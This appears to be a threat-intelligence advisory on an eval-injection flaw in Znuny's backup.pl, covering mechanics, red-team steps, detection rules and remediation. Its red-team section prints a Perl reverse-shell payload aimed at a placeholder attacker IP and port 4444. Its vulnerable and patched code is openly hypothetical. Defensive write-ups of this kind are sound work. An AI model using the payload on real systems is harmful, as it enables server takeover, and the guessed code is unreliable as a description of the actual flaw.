CVE-2025-26845

Executive Summary

CVE-2025-26845 is a critical Eval Injection vulnerability discovered in Znuny (formerly OTRS) through version 7.1.3. The flaw allows an authenticated user with write access to the configuration file to inject arbitrary code that is executed by the backup.pl script. This can lead to remote code execution (RCE) on the server, potentially compromising the entire Znuny instance and underlying system.

The vulnerability resides in the way Znuny processes configuration data during backup operations. An attacker with sufficient privileges can modify the configuration to include malicious Perl code, which is then evaluated by the backup script without proper sanitization.

Supply Chain & Package Security

Znuny is a Perl-based open-source ticketing system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. However, organizations using Znuny should treat this as a critical supply chain risk, as the application is often used for sensitive IT service management.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability, a reasonable assessment is:

• Attack Vector (AV): Network (the attacker must have network access to the Znuny web interface)
• Attack Complexity (AC): Low (requires write access to configuration, which is a standard privilege for some roles)
• Privileges Required (PR): High (requires a user with configuration write access)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Estimated CVSS Score: 7.2 (High)

Threat Level: High. The vulnerability allows for complete server compromise if exploited.

Deep Dive & Mechanics

The vulnerability is an Eval Injection (CWE-95) in the backup.pl script. This script is typically run as a cron job or manually by an administrator to create backups of the Znuny system.

Root Cause: The backup.pl script reads configuration values from the Znuny configuration system (stored in the database or a configuration file). When processing certain configuration parameters, the script uses Perl's eval function to interpret the value. If an attacker can modify a configuration parameter to contain malicious Perl code, that code will be executed when the backup script runs.

Attack Flow:

1. Privilege Escalation/Abuse: The attacker must first obtain credentials for a user with "rw" (read/write) access to the system configuration. This could be an admin or a user with specific roles.
2. Configuration Modification: The attacker modifies a configuration parameter that is processed by backup.pl. The exact parameter is not publicly documented, but it is likely one related to backup paths, commands, or custom scripts.
3. Trigger Backup: The attacker either waits for the scheduled backup or manually triggers the backup script.
4. Code Execution: The backup.pl script evaluates the malicious configuration value, executing the injected Perl code. This code can run arbitrary system commands, install backdoors, or exfiltrate data.

Why it works: The eval function in Perl executes arbitrary code. If the input is not sanitized, an attacker can inject code that runs with the privileges of the user running backup.pl (typically the web server user or a dedicated system user).

Vulnerable vs. Patched Code

Vulnerable Code (Znuny <= 7.1.3): The vulnerable code likely exists in a function that reads configuration values and passes them to eval. A simplified example:

# Vulnerable backup.pl snippet
my $backup_command = $ConfigObject->Get('BackupCommand');
eval { $backup_command->() };  # If $backup_command is a string, it's evaluated

Patched Code (Hypothetical): A patch would replace the eval with a safe alternative, such as using a predefined list of allowed commands or using system with proper argument escaping.

# Patched backup.pl snippet
my $backup_command = $ConfigObject->Get('BackupCommand');
if (exists $allowed_commands{$backup_command}) {
    system($allowed_commands{$backup_command});
} else {
    die "Invalid backup command";
}

Note: As of this report, no official patch has been released by Znuny. Users are advised to apply workarounds.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Znuny instance (version <= 7.1.3)
• Credentials for a user with configuration write access (e.g., admin)

Exploitation Steps:

1. Login to Znuny as an admin user.
2. Navigate to Configuration (Admin -> System Configuration).
3. Search for a vulnerable parameter. The exact parameter is not publicly known, but likely candidates include:
   • Backup::Command
   • Backup::PostCommand
   • Core::Sendmail::Command
4. Modify the parameter to inject malicious Perl code. For example:

   ; system('id > /tmp/pwned.txt');
   

   Or a more sophisticated payload:

   ; use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
   

5. Save the configuration.
6. Trigger the backup by running backup.pl manually or waiting for the cron job.
7. Verify execution by checking for the output file or connecting to the reverse shell.

Example Payload (Reverse Shell):

; use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Configuration Changes: Log all changes to the Znuny system configuration, especially by non-admin users.
2. Audit backup.pl Execution: Monitor the execution of backup.pl and log its output.
3. Check for Suspicious Configuration Values: Regularly scan configuration parameters for Perl code or unusual characters (e.g., semicolons, backticks, system() calls).
4. Restrict Configuration Access: Limit write access to the configuration to only essential administrators.
5. Use File Integrity Monitoring (FIM): Monitor changes to the Znuny configuration files (e.g., Kernel/Config.pm).

Hunting Queries:

• Log Analysis: Search for backup.pl execution logs with errors or unexpected output.
• Process Monitoring: Look for child processes spawned by backup.pl that are not standard backup commands (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected files in /tmp/ or /var/tmp/ created by the web server user.
• Modified configuration files in Kernel/Config.pm or database entries with Perl code.
• New cron jobs or systemd timers added by the web server user.

Network IOCs:

• Outbound connections from the Znuny server to unusual IP addresses on common ports (4444, 8080, etc.).
• DNS queries to domains associated with C2 infrastructure.

Process IOCs:

• backup.pl spawning a shell (/bin/sh, /bin/bash).
• perl processes with unusual arguments or child processes.

Log IOCs:

• Znuny system log entries showing configuration changes by unexpected users.
• Syslog entries showing backup.pl errors or warnings.

Detection Engineering

YARA Rule

rule CVE_2025_26845_Znuny_Eval_Injection {
    meta:
        description = "Detects potential Eval Injection in Znuny backup.pl configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26845"
        severity = "high"

    strings:
        $eval_string = /eval\s*\{/ nocase
        $backup_script = "backup.pl" nocase
        $config_access = "ConfigObject->Get" nocase
        $perl_code = /;\s*(system|exec|qx|backtick|`)/ nocase

    condition:
        $backup_script and $config_access and ($eval_string or $perl_code)
}

Sigma Rule

title: Znuny Eval Injection via Configuration (CVE-2025-26845)
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-26845 by monitoring for suspicious configuration changes and backup.pl execution.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26845
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - EventID: 1  # Process creation (Sysmon)
          Image|endswith: '/usr/bin/perl'
          CommandLine|contains: 'backup.pl'
        - EventID: 4663  # Object access (Windows, if applicable)
          ObjectName|contains: 'Kernel/Config.pm'
    condition: selection
falsepositives:
    - Legitimate backup operations by authorized admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26845 Znuny Eval Injection - Outbound Connection"; flow:to_server,established; content:"|2f|backup.pl|2f|"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Configuration Access: Immediately review and restrict which users have write access to the Znuny system configuration. Use the principle of least privilege.
2. Disable backup.pl Cron Job: If possible, temporarily disable the scheduled backup job until a patch is applied.
3. Monitor Configuration Changes: Enable detailed logging for all configuration changes and review logs daily.
4. Implement Input Validation: As a temporary workaround, modify the backup.pl script to validate configuration values before processing. This is not recommended for production without thorough testing.

Long-Term Fix:

1. Apply Vendor Patch: Monitor the Znuny website and security advisories for an official patch. Upgrade to a patched version as soon as it is available.
2. Code Review: Conduct a security code review of backup.pl and other scripts that use eval on configuration values.
3. Upgrade to Latest Version: If a patched version is released, upgrade immediately.

Workaround (If Patching is Not Possible):

• Modify backup.pl: Replace the eval call with a safe alternative. For example, use a whitelist of allowed commands.
• Use AppArmor/SELinux: Confine the backup.pl process to prevent it from executing arbitrary commands.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert